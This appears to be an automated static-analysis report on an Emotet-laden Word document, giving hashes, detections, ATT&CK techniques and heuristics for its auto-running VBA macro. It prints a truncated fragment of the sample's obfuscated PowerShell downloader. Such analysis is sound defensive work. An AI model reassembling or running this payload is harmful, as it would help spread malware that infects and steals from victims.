Emotet — Office (OLE) / .DOCX malware analysis

Static analysis result for SHA-256 506bd0bf18d33b2e…

MALICIOUS

Office (OLE) / .DOCX

166.5 KB Created: 2020-09-14 11:57:00 Authoring application: Microsoft Office Word
MD5: f3d27b3019ba3db04f74ca35ac3ed295 SHA-1: 8daa2b802c7fefbeab4cb68acf99ea5bf91f15a4 SHA-256: 506bd0bf18d33b2e92b6638ec09ed0af6dcedffe870c41063f7845695e19fbc4
240 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1059.001 PowerShell T1204.002 Malicious File

The sample was detected as malicious by ClamAV with the signature 'Doc.Malware.Emotet-9762269-0'. Static analysis revealed VBA macros, specifically a Document_Open macro that utilizes CreateObject, indicating an auto-execution attempt. The extracted document body contains obfuscated PowerShell commands, including the reconstructed string 'powershell -2vhaghsghfe JABRAF8AZgA3A2vhaghsghfHcAeQBzAD0AKA2vhaghsghfAoACcAUQBiACc2vhaghsghfAKwAnAG8AegAn2vhaghsghfACsAJwAzAHMAJ2vhaghsghfwApACsAJwB6AC2vhaghsghfcAKQA7AC4AKAA2vhaghsghf5AGgARwBcAHcA2vhaghsghfMgBsAHcARAAyA2vhaghsghfF8AXAAgAC0AaQ2vhaghsghfB0AGUAbQB0AHk2vhaghsghfAcABlACAARABJ2vhaghsghfAFIARQBjAFQAT2vhaghsghfwBSAHkAOwBbAE2vhaghsghf4AZQB0AC4AUwB2vhaghsghflAHIAdgBpAGMA2vhaghsghfZQBQAG8AaQBuA2vhaghsghfHQATQBhAG4AYQ2vhaghsghfBnAGUAcgBdADo2vhaghsghfAOgAiAHMARQBg2vhaghsghfAGMAYABVAHIAS2vhaghsghfQBgAFQAeQBgAH2vhaghsghfAAcgBvAHQAYAB2vhaghsghfvAGMATwBMACIA2vhaghsghfIAA9ACAAKAAoA2vhaghsghfCcAdABsACcAKw2vhaghsghfAnAHMAJwApACs2vhaghsghfAKAAnADEAJwAr2vhaghsghfACcAMgAsACAAd2vhaghsghfAAnACkAKwAnAG2vhaghsghfwAJwArACgAJwB2vhaghsghfzADEAJwArACcA2vhaghsghfMQAsACAAdABsA2vhaghsghfCcAKQArACcAcw2vhaghsghfAnACkAOwAkAEE2vhaghsghfAZQBiADMANwAw2vhaghsghfAGMAIAA9ACAAK2vhaghsghfAAoACcAUABjAC2vhaghsghfcAKwAnAHkAJwA2vhaghsghfpACsAKAAnADcA2vhaghsghfeABnACcAKwAnA2vhaghsghfDYAJwApACkAOw2vhaghsghfAkAFYAZwAwAHA2vhaghsghfAdgBzADIAPQAo2vhaghsghfACcARAByACcAK2vhagh'. This script likely downloads and executes a second-stage payload, consistent with Emotet's typical behavior.

Heuristics 7

  • ClamAV: Doc.Malware.Emotet-9762269-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Emotet-9762269-0
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • VBA macros detected medium OLE_VBA_MACROS
    Document contains VBA macro code
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas
8a39fc8d6eec119bccb9074c742cbab236c89f429d1a306c2818d1568d873603		 vba-macro oletools.olevba.extract_macros (decoded VBA source) 25223 bytes
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved macro source contains an auto-exec entry point and execution/download terms.

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